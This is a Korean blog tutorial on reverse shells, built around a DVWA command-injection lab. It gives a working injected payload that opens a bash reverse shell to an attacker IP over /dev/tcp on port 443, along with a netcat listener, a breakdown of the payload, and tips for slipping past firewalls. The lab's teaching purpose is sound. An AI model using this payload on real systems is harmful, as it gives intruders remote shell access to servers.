1. Reverse Shell이란?
일반적인 원격 접속(Normal Shell)은 공격자가 피해 서버에 접속을 시도하는 방향이다.
반면 Reverse Shell은 방향이 반대다.
피해 서버가 공격자 쪽으로 먼저 연결을 맺는다.
이 방향 역전이 중요한 이유는 방화벽 정책 때문이다.
대부분의 서버는 외부에서 들어오는 연결(Inbound)을 엄격하게 차단하지만, 서버가 외부로 나가는 연결(Outbound)은 상대적으로 허용하는 경우가 많다.
Reverse Shell은 이 비대칭성을 이용한다.

2. Reverse Shell 실습
Step 1️⃣ 공격자 PC(kali)에서 리스너 열기
nc는 Netcat의 줄임말로, TCP/UDP 연결을 자유롭게 열고 닫을 수 있는 네트워크 유틸리티다.
stdin/stdout을 네트워크 소켓에 연결해주는 도구로, 마치 채팅처럼 키보드로 입력한 내용을 네트워크로 보내고, 네트워크에서 받은 내용을 화면에 출력한다.
여기서는 kali 리눅스(192.168.100.144)를 공격자 PC로 사용한다.
nc -lvnp 443
| 옵션 | 의미 |
| -l | listen 모드. 연결을 기다린다 |
| -v | verbose. 연결 상태를 출력한다 |
| -n | DNS 조회를 하지 않는다 (숫자 IP만 사용) |
| -p 443 | 443번 포트를 사용한다 (HTTPS 포트라 방화벽 통과 가능성이 높다) |
이 시점에서 공격자는 443번 포트에서 누군가 연결해 오기를 기다리는 상태가 된다
listening on [any] 43 ...
Step2️⃣ 공격 대상(DVWA) 입력창에 Reverse Shell 페이로드 삽입
DVWA 애플리케이션에 대한 설명은 별도의 포스팅을 참고한다.
로그인 후 Level을 Low로 설정하고 사이드바의 Command Injection 메뉴로 들어가서 실습한다.

🔴입력 페이로드
127.0.0.1; bash -c 'bash -i >& /dev/tcp/192.168.100.144/443 0>&1'
bash -c : 새로운 bash 프로세스를 실행하면서 문자열로 된 명령어를 직접 넘겨 실행시키는 옵션
>&, 0>&1 같은 리다이렉트 기호는 쉘의 특수문자다.
브라우저 입력창
↓
HTTP POST 데이터 (URL 인코딩)
↓
PHP $_REQUEST['ip']
↓
shell_exec('ping -c 4 ' . $target)
↓
/bin/sh -c 'ping -c 4 [입력값]' ← shell_exec가 내부적으로 /bin/sh를 사용
shell_exec()는 내부적으로 /bin/sh를 통해 명령을 실행한다.
환경에 따라 /bin/sh가 dash인 경우, dash는 /dev/tcp 를 지원하지 않는다.
또한 >& 같은 기호가 중간 어딘가에서 이스케이프되거나 다르게 해석될 수 있다.
bash -c '...'로 감싸면 내부 문자열을 명시적으로 bash가 해석하도록 강제할 수 있다.
/bin/sh(dash)가 아니라 bash가 직접 처리하므로 /dev/tcp도 정상 작동한다.
🔴페이로드 분석
bash -i # 대화형(-i) bash 셸을 실행
>& /dev/tcp/192.168.100.3/443 # 표준출력(stdout)을 TCP 소켓으로 리다이렉트
0>& 1 # 표준입력(stdin)도 같은 소켓으로 리다이렉트
Linux에서 모든 프로세스는 실행될 때 자동으로 3개의 통로를 할당받는다.
이 통로를 파일 디스크립터(File Descriptor)라고 하고, 번호로 구분한다.
| 번호 | 이름 | 역할 | 기본 연결 대상 |
| 0 | stdin | 입력을 받는 통로 | 키보드 |
| 1 | stdout | 정상 출력을 내보내는 통로 | 터미널 화면 |
| 2 | stderr | 에러 출력을 내보내는 통로 | 터미널 화면 |
터미널에서 명령어를 치면 이런 흐름이다.
키보드 → [stdin/0] → bash → [stdout/1] → 화면
→ [stderr/2] → 화면
> 기호는 이 통로의 연결 대상을 다른 곳으로 바꾸는 연산자다. 이것이 리다이렉트다.
>&는 stdout(1)과 stderr(2) 모두를 오른쪽 대상으로 리다이렉트하는 단축 표현이다.
/dev/tcp/IP/PORT는 bash가 특별하게 처리하는 가상 파일이다.
실제로 디스크에 존재하는 파일이 아니라, bash가 해당 IP/Port로 TCP 연결을 맺고 그 소켓을 파일처럼 다루게 해주는 특수 경로다.
따라서 이 한 줄의 의미는 다음과 같다.
>& /dev/tcp/192.168.100.3/443
bash의 출력(stdout + stderr)을
192.168.100.3:443으로 열린 TCP 소켓에 연결
→ 이후 bash가 뭔가를 출력하면 화면이 아니라 네트워크로 나간다.
0>&1
0> 는 stdin(0번)을 리다이렉트하겠다는 뜻이고, &1은 "현재 1번(stdout)이 가리키는 곳과 같은 곳"을 의미한다.
앞 단계에서 stdout은 이미 TCP 소켓으로 바뀌었다.
따라서 0>&1의 의미는 다음과 같다.
stdin(0)을 → stdout(1)이 이미 연결된 곳(TCP 소켓)과 같은 곳으로 연결
→ 이후 bash의 입력도 키보드가 아니라 네트워크에서 받는다.
즉, bash의 입출력 전체를 네트워크 소켓에 연결하는 구조다.

Step3️⃣ 연결 성공 시 공격자 터미널 상태
DVWA가 페이로드를 실행하는 순간, Kali의 nc 리스너에 다음과 같이 연결이 수립된다.
nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.x 54321 ← 피해 서버에서 연결이 들어옴
www-data@dvwa:/var/www/html/vulnerabilities/exec$ ← 피해 서버의 셸 프롬프트

이 시점부터 공격자는 피해 서버의 www-data 사용자 권한으로 모든 명령을 실행할 수 있다.

🔵 443 포트를 사용하는 이유
서버에서 외부로 나가는 443 Outbound 트래픽은 일반적인 HTTPS 요청과 구분이 어렵기 때문에 방화벽을 통과할 가능성이 높다. 실제 침투 테스트에서도 443, 80, 53(DNS) 포트가 Reverse Shell에 자주 사용되는 이유다.
| 포트 | 용도 | 방화벽 통과 가능성 |
| 443 | HTTPS | 거의 항상 허용 (웹 서비스) |
| 80 | HTTP | 대부분 허용 |
| 3333 | 임의 | 차단될 가능성 높음 |
'Journey to Security > 웹 보안' 카테고리의 다른 글
| DVWA 문제풀이: Command Injection (0) | 2026.05.25 |
|---|---|
| DVWA 애플리케이션으로 웹 취약점 실습하기 (0) | 2026.05.25 |
| [SQLi] 취약한 웹앱 공격 실습 (2) UNION-based 데이터 탈취 (0) | 2026.05.21 |
| [SQLi] 취약한 웹앱 공격 실습 (1) 로그인 우회 (0) | 2026.05.16 |
| [SQLi] 취약한 실습용 웹 애플리케이션 만들기 (Claude AI 이용) (0) | 2026.05.16 |